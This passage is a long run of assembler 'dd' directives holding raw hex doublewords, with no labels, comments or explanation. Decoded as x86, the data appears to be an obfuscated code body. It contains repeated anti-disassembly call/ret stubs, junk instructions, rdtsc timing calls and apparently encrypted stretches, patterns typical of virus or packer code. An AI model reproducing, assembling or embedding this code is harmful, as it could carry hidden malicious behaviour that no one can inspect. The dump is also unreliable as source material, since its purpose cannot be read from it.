		dd 6A63381h, 71D95FFh, 6A06A6h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0E0DC3h, 5B620200h, 0D4C68166h
		dd 6AC32B4Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0D8D2C352h, 6322CED9h,	0B8924E36h
		dd 0FED78166h, 8343D28h, 860F0000h, 57h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 21C35141h, 69BD8B15h
		dd 8906A621h, 0A625759Dh, 3DE906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D6A9F5C3h
		dd 0CD1F7DC7h, 0C7816686h, 8BF5B934h, 0DE9C0h, 0BE880000h
		dd 0C3A988F9h, 0ED427C28h, 8BB7EF97h, 6AD88BC3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 3A1EC350h, 0E139B3AAh, 39852960h, 0F06A62Dh,	38Fh, 0FE8B6600h
		dd 1585C761h, 0D506A611h, 8B3704A7h, 0E78166C0h, 0BD8100CBh
		dd 6A6072Dh, 7D0h, 3A850Fh, 5E90000h, 0FD000000h, 0DBCCE004h
		dd 72D85FFh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 7DBAC5C3h, 0BF6653D4h, 8529EB3Bh
		dd 6A60759h, 72DB5FFh, 6A06A6h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0F8576EC3h, 0EE95Fh
		dd 83FD0000h, 18AB40C7h, 0DB1F5B8Eh, 0EF2E510Fh, 295995FFh
		dd 6A06A6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 425529C3h, 0D98B9A8Ch, 919D290Fh,	9006A621h
		dd 68C0Fh, 0B58B0000h, 6A625D9h, 66F3B70Fh, 1A1BF781h
		dd 8BEC8A60h, 0A6345995h, 8F0F6006h, 0
		dd 207D9589h, 616106A6h, 58C78166h, 11B58B60h, 6606A632h
		dd 0AB9FCF81h, 0B3C78166h, 52006A6Dh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0B70EC33h
		dd 202FF0AEh, 35810Fh, 0AE80000h, 76000000h, 7EB947F0h
		dd 39A5B141h, 0A9BD33D3h, 0E906A621h, 0Bh, 0A55DF92Dh
		dd 4A14B95Dh, 5F3A2E62h, 0AE9h,	5778AD00h, 0A032C32Bh
		dd 89D42942h, 0A60CD5B5h, 10E906h, 0C5DE0000h, 43BDC82Ch
		dd 7A89FD2Fh, 776713D2h, 0CE88055h, 57000000h, 916F9890h
		dd 55937217h, 0FF904B4h, 0B89h,	5DCE8100h, 0BE0E3B93h
		dd 50386699h, 320DB58Bh, 895F06A6h, 0A60E6995h,	25850906h
		dd 6006A61Ch, 97B8C381h, 0AFB817CCh, 6167DC04h,	33758589h
		dd 0AFE906A6h, 81FFFFF7h, 76DA15EEh, 11E938h, 77CC0000h
		dd 6B5951A0h, 0D405909Ah, 0ACB1D6BBh, 8B950667h, 52006AC1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 1D6A4CABh, 0E907913Fh, 10h, 0CD4E8B91h, 0BF1F1FBFh
		dd 0B7F85BB1h, 0BA36A7C4h, 0F545DE81h, 4EB15C4h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 58C35141h
		dd 85D6278Bh, 0FE90Bh, 69460000h, 29A3A4A8h, 3DD0F10Bh
		dd 34F992C9h, 53006A79h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0AD858DC7h, 6A06A62Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 70BDC353h, 0E8901352h, 9, 0CC46F76Bh, 0A94C80C1h, 5870F9Fh
		dd 0BE000000h, 7D00369Fh, 8B66505Eh, 9D0990F3h,	6A61D0Dh
		dd 0BD8B006Ah, 6A60CE1h, 0E681006Ah, 2B5F68A6h,	0FCE8858Dh
		dd 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0FD51FCC3h, 7E9624Bh, 79000000h, 4DDC3C7Bh
		dd 853105C4h, 6A6145Dh,	8B05C083h, 0A62BCDBDh, 52509006h
		dd 3C306BBEh, 5A310F1Eh, 12E95058h, 66000000h, 36C0BAB6h
		dd 539F8C5Dh, 41937E7Bh, 57412C6Ch, 0EE990CAh, 3E000000h
		dd 0A7F8EB09h, 0A87175EAh, 255D79DCh, 6A006A2Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 9EDAC356h, 69DE476Fh, 339A9250h, 0A6295DBDh,	89006A06h
		dd 0A6143195h, 4595FF06h, 6606A612h, 8B5E2BBEh,	0FF9D8DF8h
		dd 0FF06A994h, 5E9D3h, 32910000h, 0FF5E6EB6h, 0A6126D85h
		dd 0AE906h, 0A1DA0000h,	2D3CFA52h, 968C1E17h, 82EE9h, 0E800h
		dd 815D0000h, 0A9FCF2EDh, 68C0F06h, 89000000h, 0A61BFD9Dh
		dd 2DBD8106h, 0D006A607h, 0F000007h, 12F86h, 0F08B6600h
		dd 3F99D8Bh, 5E806A6h, 68000000h, 0F30216Ah, 0AE9h, 0B94FAB00h
		dd 40C05436h, 5F23D22Ah, 100E381h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F1C61C3h
		dd 0DB0BF7B7h, 96850Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 83168EC3h, 0A9FB58BDh
		dd 840F0006h, 13h, 0B1BD8953h, 5E06A626h, 6FE9h, 95950900h
		dd 0C706A633h, 0A9FB5885h, 106h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C99A5ABDh
		dd 0FE872D1h, 0E1000000h, 0B56B026Bh, 86D5DAF1h, 0E54CFCD9h
		dd 0BE9D57Eh, 0BA000000h, 0B4ABCCD0h, 0AADBDC82h, 0E95F000Ah
		dd 14h,	9D82BE66h, 0FB5885C7h, 6A9h, 0B58B0000h, 6A62A75h
		dd 3F99D8Dh, 816606A6h,	81D9C6EFh, 0FFFEFF23h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D50F1FEFh, 0F5858B60h, 6106A60Fh, 0E9DB8C66h, 0Ah
		dd 47231031h, 0DE0512F2h, 0C3F65C5Fh, 80840F04h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 4254C350h, 8908AD55h, 0A6114D9Dh,	0DE95306h
		dd 3F000000h, 5818C582h, 5D35E14Ch, 0F0A14809h,	1D95FF5Eh
		dd 6A06A607h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 96C8C357h, 0D9DF23E8h,	0B1C68166h
		dd 0F781664Ch, 0F903E57h, 8Ch, 0F605000h, 28Bh,	0B05B5100h
		dd 0E99061C0h, 416h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0A3C35747h, 0D7206F21h, 0A60F1A71h, 6E8h
		dd 0AFC11500h, 66888CD8h, 9DCBEF81h, 6A00B05Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 16FCC350h, 0A044C486h, 8E8h,	0EC3D4500h, 0C402DAh, 0C6816626h
		dd 0E65F25FAh, 5771E470h, 2B998D09h, 0F5E06A6h,	6AD8B6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 7C3335C3h, 0BCC6E63Fh, 6E928h, 4D860000h, 5A5683D6h
		dd 6BAh, 99D3100h, 8906A604h, 0A62E0D9Dh, 6AC38B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 89DEC351h, 0A61A118Dh, 4E8C106h, 0BE9h, 6DEA4F00h, 5EA584BEh
		dd 3E46C9A9h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0F88DC350h,	5E9D82Bh
		dd 0E9000000h, 8494390Ch, 0AA3DBE93h, 5350000Dh, 0A2BFB960h
		dd 5F6107D5h, 0E5B52393h, 6606A61Dh, 96DE781h, 72DB5FFh
		dd 0BF0F06A6h, 5995FFFAh, 6A06A629h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0BDC6C350h
		dd 0B830B4E1h, 2739115Bh, 8A5B589h, 0B006A6h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0EBC35545h, 4C69C26Ah
		dd 0C3F1DCA0h, 6A70E630h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B2DC357h, 0A62A15BDh
		dd 8171E406h, 770278E6h, 0F613C12h, 24983h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0D8B60FA3h, 20919589h, 6BA06A6h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0E7ECC356h, 7E9F7h, 0A19A0000h, 0A97D4192h, 6AC38B6Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0A0B4C351h, 9D89C974h, 6A62969h, 6A04E8C1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 4E72C357h, 0E2F76616h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 6AC35747h, 0AE5A6998h, 0C773BF51h
		dd 7DBD8970h, 2B06A605h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 265FA83Ah, 5868E1A9h
		dd 1041BD8Bh, 0D82B06A6h, 14C880Fh, 0BD8B0000h,	6A63395h
		dd 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0BF82EED4h, 3B163CA8h, 6A00C183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 45B6C353h, 3FBFEAC2h, 3B318C9Dh, 0EF860FD9h
		dd 0F000000h, 8C66F1B7h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0E7FC7A7Bh, 0F04C1F6h
		dd 9484h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B4C80C1h, 0A61BA1B5h, 1D95FF06h
		dd 8B06A607h, 0A61EF1BDh, 6A5B06h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 2BF1DBC3h, 7D8589C3h
		dd 3D06A608h, 834h, 33860Fh, 9D010000h,	6A632EDh, 55E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0D682B6FEh, 159589EAh, 5606A61Ch, 6AC08B5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0BA3BC352h, 0E1B68F13h, 5946AA7Fh, 13E9B523h
		dd 0C38B06A6h, 6AD88Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0F18B86C3h, 0C185C7F5h, 0DD06A614h
		dd 8132FAB5h, 57BD1EE7h, 0FC08B2Ah, 0BD81F7B7h,	6A6072Dh
		dd 7D0h, 5F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h
		dd 0E9B8CEC3h, 0Ch, 1F80EA18h, 0B24BADD6h, 0FCA89146h
		dd 72D85FFh, 0FE806A6h,	4B000000h, 3B4BF441h, 400760AEh
		dd 617301EBh, 0AE897C0h, 46000000h, 65951262h, 2C76697Ch
		dd 1B50913h, 5E06A631h,	2DB5FF5Eh, 906A607h, 0A625C5BDh
		dd 5995FF06h, 6A06A629h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 282EC350h, 21CDD0A1h
		dd 6E971h, 1BA0000h, 0E35DD7ACh, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F19D8908h
		dd 0F06A600h, 1C86h, 8880F00h, 29000000h, 0A60A6DBDh, 53616006h
		dd 7E9h, 23973100h, 0C287A43Ch,	6AF95Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0EA8D4AC3h
		dd 0A05597A3h, 8991644Fh, 0A62D8DB5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 7161527Eh, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 6ECD776Fh, 0C0BF2Bh, 0DE811FF3h
		dd 0FC08412h, 0CC474BBFh, 53006A6Ch, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0A710F5B0h
		dd 8D297C32h, 6A60DFDh,	6AF78B66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2CCAC351h
		dd 49B58B07h, 8906A630h, 0A61615B5h, 0F7F3E906h, 6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0E3B4AAC3h, 8B0D6196h, 51006AC1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0C9B6A744h
		dd 5C253485h, 8C0F3B9Ah, 6, 139DBD8Bh, 0E68106A6h, 140130A7h
		dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1B0424h, 51410000h, 371A09C3h, 7ED77729h, 0C68166D7h
		dd 6A3621h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 6FDDE8C3h, 52CAEE4Ch, 8E9h, 3B3FA700h, 54C64E22h
		dd 0FB8B66D0h, 2CAD858Dh, 6A06A6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 13762C3h, 6E99007h, 47000000h
		dd 0A6A4FDC0h, 8B665046h, 6A90F9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0CB5538C3h, 9C3A604Bh
		dd 0BE97A48h, 5E000000h, 93942EF4h, 9A002837h, 8B66BCA7h
		dd 6A006AFBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0CD23C356h, 0C04ED442h, 51B5D37Ah
		dd 3221B58Bh, 6A5E06A6h, 65B50100h, 8D06A606h, 0AA075685h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0F4AD0928h, 7F463877h, 5C08379h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C9C35040h, 460C40D2h
		dd 0F8B604DBh, 14E948h,	26E60000h, 0BA84E532h, 0E3296BE6h
		dd 60F61735h, 9FA87A3Fh, 0B58B0C9Fh, 6A62971h, 0BF525050h
		dd 53D4F59Fh, 585A310Fh, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0ADADC351h
		dd 0F18B6690h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0D3B1A7C3h, 9EA90D3Ah, 0C681663Ch
		dd 89533242h, 0A6229DB5h, 6A5F06h, 58D8D89h, 95FF06A6h
		dd 6A61245h, 0BECE8166h, 0FF9D8D8Bh, 8B06A994h,	89D3FFFEh
		dd 0A6215585h, 6D85FF06h, 6606A612h, 2CE9F08Bh,	0E8000009h
		dd 0
		dd 60ED815Dh, 8106AA07h, 4C1EDCC6h, 2DBD814Bh, 0D006A607h
		dd 0F000007h, 15D86h, 41B58900h, 8B06A61Fh, 0A619059Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 4FB4969Ch, 3A9C828h, 0E381E2h, 8B000001h
		dd 0A618D9B5h, 0FDB0B06h, 0D885h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 645213AFh
		dd 0F70C56Ah, 68Ah, 7DB50300h, 0F06A632h, 81h, 56BD8300h
		dd 6AA05h, 53840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 33C9DCC3h, 0CFFE2130h
		dd 80E97B00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 723AC350h, 9DCABB38h
		dd 8BA38E90h, 0A604B5BDh, 5685C706h, 106AA05h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0E5CFC351h, 0EF04329Fh, 26E9h, 0FE900h, 0F47C0000h
		dd 0C5275044h, 8F96992Bh, 34D03213h, 5685C786h,	6AA05h
		dd 51000000h, 2265B58Bh, 8D5E06A6h, 0A619059Dh,	0FF238106h
		dd 6AFFFFFEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 1D82C353h, 0FD166587h,	8C66DCAAh
		dd 55006ADBh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0F6F78BB5h, 840F04C3h, 78h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 60C35141h, 0FF7B51D2h
		dd 0A6071D95h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0C10EDCE7h, 0E8525050h
		dd 11h,	0CE78BEF9h, 486089D3h, 1A5E24DEh, 71B8566h, 0CE8D5h
		dd 865B0000h, 558EAA77h, 0EBB1EFC1h, 5E5E5680h,	585A310Fh
		dd 0F5240489h, 48BE9h, 61BD8B00h, 0B006A634h, 6A70E600h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0F458C351h, 6A71E470h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A62C357h
		dd 7775E848h, 8BC49353h, 958589FEh, 0F06A62Bh, 6AD8B6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D2930C3h, 6A608E5h,	6BAh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2D1742CEh
		dd 0E9958957h, 5E06A611h, 0FC38BF8h, 1A82h, 0B70F6000h
		dd 0FE8F2h, 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h
		dd 1615E95h, 0A611F19Dh, 4E8C106h, 37E78166h, 0E2F766A7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h
		dd 0E9C19AA2h, 0Bh, 0B6D62682h,	9A91082Ah, 81E4C6DEh, 1F713ECEh
		dd 6AD82B15h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 3542C350h, 8B5F5A70h, 0A61331BDh
		dd 8DBF5006h, 8970541Dh, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0C8C1C4C3h, 616303B8h
		dd 0B5BD8B10h, 0FF06A610h, 0A6072DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0A0195FC1h, 0DFCE2C63h, 18E58D89h, 95FF06A6h, 6A62959h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 1AC35040h
		dd 0F8ED6243h, 9E9h, 29F12200h,	2D186079h, 0B025DBh, 0BE8h
		dd 0D69D0800h, 0B69A7993h, 72CB3606h, 262EBF66h, 6A70E65Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6BCCC355h, 0BE80Fh, 0BE100000h, 45785B31h
		dd 9560094h, 6820FB3h, 31000000h, 0A614198Dh, 71E45F06h
		dd 0CE816653h, 0BE5E676Bh, 5DE59AD9h, 830F613Ch, 254h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 56C35343h
		dd 16361B0Eh, 0F902448h, 0B60FF7B7h, 6860FD8h, 81000000h
		dd 0EA2920DFh, 6BA60h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0C94166C3h, 0BFB4C6AEh
		dd 0C38B93BCh, 8B0Fh, 0E8C10000h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E2F7666Dh
		dd 59858B60h, 0F06A607h, 684h, 810F00h,	61000000h, 0DE8D82Bh
		dd 7F000000h, 17A52FDBh, 71889126h, 8EF74345h, 91858B60h
		dd 0E806A616h, 8, 0CD8C6B9Bh, 0E4BDDB25h, 585F615Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E6C35343h, 6ADB9C9Bh
		dd 890F2D12h, 0
		dd 880FD82Bh, 15Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0CBC35646h, 5E8h, 4E08C00h, 0DE81AC25h
		dd 60A38CDDh, 7B95Eh, 0B58B0000h, 6A62F15h, 8B00C183h
		dd 0A625FDBDh, 0FD93B06h, 11386h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 94A6122Dh
		dd 66F5176Bh, 0B58BD98Ch, 6A60439h, 0F04C1F6h, 0A884h
		dd 1D95FF00h, 6A06A607h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 9B1FC350h, 0E63817A7h
		dd 51006A5Bh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 1D38B4E9h, 0E97C5BF5h, 0Fh, 7396952Dh, 0BE57558Ch
		dd 55CF79CEh, 2B5B5588h, 0E78166C3h, 343DE9E2h,	0F000008h
		dd 3886h, 0E9F18B00h, 68h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0CAC35545h, 841F3E77h, 0BE934h, 793C0000h
		dd 84A9E3FDh, 0B9CA0F8Eh, 6AC08B1Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C6A1C355h
		dd 12E975h, 0D8130000h,	0A5E1DC30h, 0AD4FDFE9h,	0AECF6CAAh
		dd 92FEBAACh, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0F5C35141h, 94D052C7h, 606EB86Dh, 0E8FEB70Fh
		dd 5, 0ACE36A92h, 7E899h, 28860000h, 0DE970649h, 615E5EF9h
		dd 3F985C7h, 297506A6h,	6A5837h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0C08BF4C3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 3CC35343h, 0BD81C755h
		dd 6A6072Dh, 7D0h, 5B850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 3647D7C3h
		dd 0EE815F57h, 503BC6D7h, 72D85FFh, 6A06A6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0FE87FC3h
		dd 0C8Ch, 6830F00h, 1000000h, 0A631E59Dh, 2DB5FF06h, 6A06A607h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FF74C350h, 0A6295995h, 9D9D8906h, 9006A601h
		dd 0D199531h, 0BD3106A6h, 6A62299h, 0C6816660h,	8531DBE8h
		dd 6A60781h, 8FC894BBh,	9D896116h, 6A6324Dh, 320D9D89h
		dd 0BE6606A6h, 9501F322h, 6A61E55h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0D6C35343h,	38A0Fh,	8B660000h
		dd 8E9F1h, 0ADB60000h, 0B554412Bh, 860F1EA4h, 6, 1CA9B58Bh
		dd 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0F38BF8C3h, 0FA7105BFh, 57006A02h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 9A9349DFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	3AC35040h, 0F666CD7Fh, 8B468421h, 0A60C41B5h, 0BF0F6006h
		dd 958960D6h, 6A60731h,	2A8D9D01h, 0BF0F06A6h, 0C3B70FDEh
		dd 0FE861h, 0D58E0000h,	0B68C3E12h, 0C3831950h,	0F45A2F0Ah
		dd 0D5BD0B4Ah, 6006A62Eh, 0E9615E61h, 0FFFFF713h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E6C35343h, 8E944h
		dd 0F8DD0000h, 9F56AED9h, 10E900BDh, 0EA000000h, 54606541h
		dd 0B0842B5Ah, 80A9379Ah, 8B513BA4h, 5DB589C1h,	0EB06A629h
		dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0A7BA275Fh, 0FFA4F41Ch, 0EE8166F9h
		dd 0E6BF57ABh, 8D60878Ch, 0A62CAD85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 26C94935h, 6918529h,	8B5006A6h, 240489F1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E2C35545h, 6A006A08h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0B82BC351h, 1840DE0Ch, 29530F0Dh,	0A628C995h
		dd 0F006A06h, 178Bh, 0BE800h, 5D9F0000h, 154AB9BBh, 0AF4668FCh
		dd 870F17h, 5F000000h, 125F858Dh, 6A06AAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 646A7DC3h
		dd 9F7603BEh, 5C08349h,	1985B58Bh, 0E89006A6h, 5, 5684B1BEh
		dd 8996BEA5h, 505F100Dh, 0D4BA6660h, 0F81FB986h, 90617E94h
		dd 7E9h, 72879400h, 10931FA3h, 6A006Ah,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0EDC35040h, 70712D7Eh
		dd 3EE1E746h, 0FA8B66C1h, 124595FFh, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2A458EC3h
		dd 930C5B65h, 9589914Fh, 6A63269h, 94FF9D8Dh, 800F06A9h
		dd 6, 2E45B58Bh, 0BD2306A6h, 6A61995h, 0BF0FD3FFh, 6D85FFF7h
		dd 6A06A612h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 6381C356h, 2CFB531Fh, 5ABBA826h
		dd 0E9FBB70Fh, 968h, 0E8h, 0ED815D00h, 6AA1269h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 51C35646h, 0BD23B173h
		dd 6A632ADh, 2DBD81FCh,	0D006A607h, 0F000007h, 18686h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 1E9D40C9h, 0B59998BAh, 32E5BD89h, 858906A6h
		dd 6A60B15h, 0A799D8Bh,	0B58B06A6h, 6A620A5h, 100E381h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 785CE3C3h, 0C698814Ch, 850FDB0Bh,	0D6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7CC35343h, 0DDB58997h
		dd 0F06A60Ah, 68Ch, 0ACD78100h,	837FB39Fh, 0AA1091BDh
		dd 840F0006h, 2Ah, 0EB3ABE66h, 0A9E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0B1D5D7F4h, 85C76191h, 6AA1091h, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 8CC35545h, 8ED0CC07h, 164AF0E3h
		dd 0B5896034h, 6A61891h, 0A4ECD781h, 0E9613D0Eh, 46h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 22C35343h, 94F822B5h
		dd 88C0Fh, 1510000h, 0A605CD9Dh, 85C75F06h, 6AA1091h, 0
		dd 9E9h, 0F5838B00h, 1234FCE1h,	9D8D2207h, 6A60A79h, 81F8B70Fh
		dd 0FFFEFF23h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 66F08B7Fh, 6ADB8Ch, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B8AB8C3h, 0A60621BDh, 4C3F606h, 55840Fh, 6A0000h, 3E857h
